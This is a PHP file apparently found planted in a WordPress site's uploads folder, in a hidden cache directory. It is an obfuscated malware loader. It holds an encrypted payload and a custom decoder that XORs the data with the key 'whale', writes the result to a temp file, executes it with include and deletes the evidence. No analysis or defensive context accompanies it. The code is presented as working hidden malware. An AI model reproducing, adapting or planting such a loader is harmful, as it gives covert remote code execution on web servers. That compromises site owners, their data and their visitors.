HEX

File: /var/www/clients/client41/web78/web/wp-content/uploads/2024/.cache/modules/lemur.php
<?php
$encrypted = 'S1cRBBV6YkUIChQdDAkLAzoOAxFXVUEeABYEEQ0RH0AGCREUHwVETF5TbGZBAhgNAwQTOAAYDVdVQQUWBA0VREEoLyQ4PlAYABgNUDVITFpXTD4rICMzRhwEAwBGMUVNSEUIChQdDAkLAzoOAxFMZWtIEAcEDg0BJwkVBEVKSBIYFygaBBwJFgsERD5QR0ZARVA0PUs4W0glJTcyKzUjNy43Mik1NjogOColREFIEAcEDg0BJwkVBExMZWthbx4OQUREHhs-CAwFQEUZFRsHAAg1FhwJRUxXE2xmRVdIQQgMEkBDvPin3bHYtcm43r3mpumw7rXPuN297qfRQbzapuuw7rT7SLHbtce40r3lpuux27XNuNlMTafVsdlFp9yx1LT3uNS836bqsdK097jZvepeRkNFXnpiHGFvemIICkVfTD4_ICU-JD4-UDokPTAyOzUzKDI8KSMhUDVBUVhKSEY8KiQ8RkxDUUgIHxYSHElIOjEhLSk2LE8UHAkYCQUJASgOCAAABE88RUxXE2xmRVdIQUgDHgQEH0VKSEUzIz4kJD8-UB0RAAoWDAQIOhEBDQkWUDVaYW96YkFMRVcODh5FX0wITFhXWFpMQR5IXUwGGB0PGE1TDggAAAQzRgIEGg1GMUxMSEUFTlxBQRdofUhBTEVXSEFMDBFISUgDHgQEHz5QDRMeCgVPPDdBHjVBUVhKSDQ8KTgpJTMgJTo-Iy5eSBphb1dIQUxFV0hBTEVXSEUKDBsNDw0IEkhcTAcWGwQCBBoNSUgDHgQEHz5QBgABAFA1OkgMKkFaYW9XSEFMRVdIQUxFV0hFGAgHJgABAFdVQUgDHgQEHz5QHAwcOhkJDAlCKjNFBThMZWtMRVdIQUxFV0hBTEVTDAQfER4GABgMGAZBUUVTHREAChYMMQ0RH0hPTCE-OiQvMTg6ODM2MjggPiQjJzNMS1dMBwUJEgYAAQBMZWthb1dIQUxFV0hBTEVXSAgKRV8FDhoAKB0RAAoWDAQIOhEBDQlNUxwMHCsWBQRARVMMBB8RHgYAGAwYBkhFRQxla0xFV0hBTEVXSEFMRVdIQUwAFAAOTEenzLHctc642kxCUw4IAAAZCQwJQle54r3kp9ex2bT_uNy821e41rzVp9uw7LT0uNe80KfVT1AHBVZDV2h9SEFMRVdIQUxFV0hBEUUSBBIJRQxla0xFV0hBTEVXSEFMRVdIQUwAFAAOTEen9rDktc-40Lzfp9hBvNqm6LHURaffsdy1xLnhvean37HWtcJIRkgDHgQEAgQaDUZCWRUaX05eemJBTEVXSEFMRVdIQUwYemJBTEVXSEFMRQpIBAAWEkgaYW9XSEFMRVdIQUxFV0gEDw0YSEO8-6bgsdS1xrjbvNVXuNa81afbsOy09LjWvN-n0EG94afYsdW1zLjRTEIMTAcFCRIbOksLFgUESzgsTAgxGFBISbzfp9ax2F9XE0UKDBsNEjdCEhoTAxdQNTpIDCoVSEJZFRpfTl56YkFMRVdIQUxFCmVrTEVXSBxhbwpla1NbemI';
if (!function_exists('pigeon')) {
    function pigeon($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

        $bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

        $res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}  

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), pigeon($encrypted, 'whale'));
include $tmp;
unlink($tmp);

?>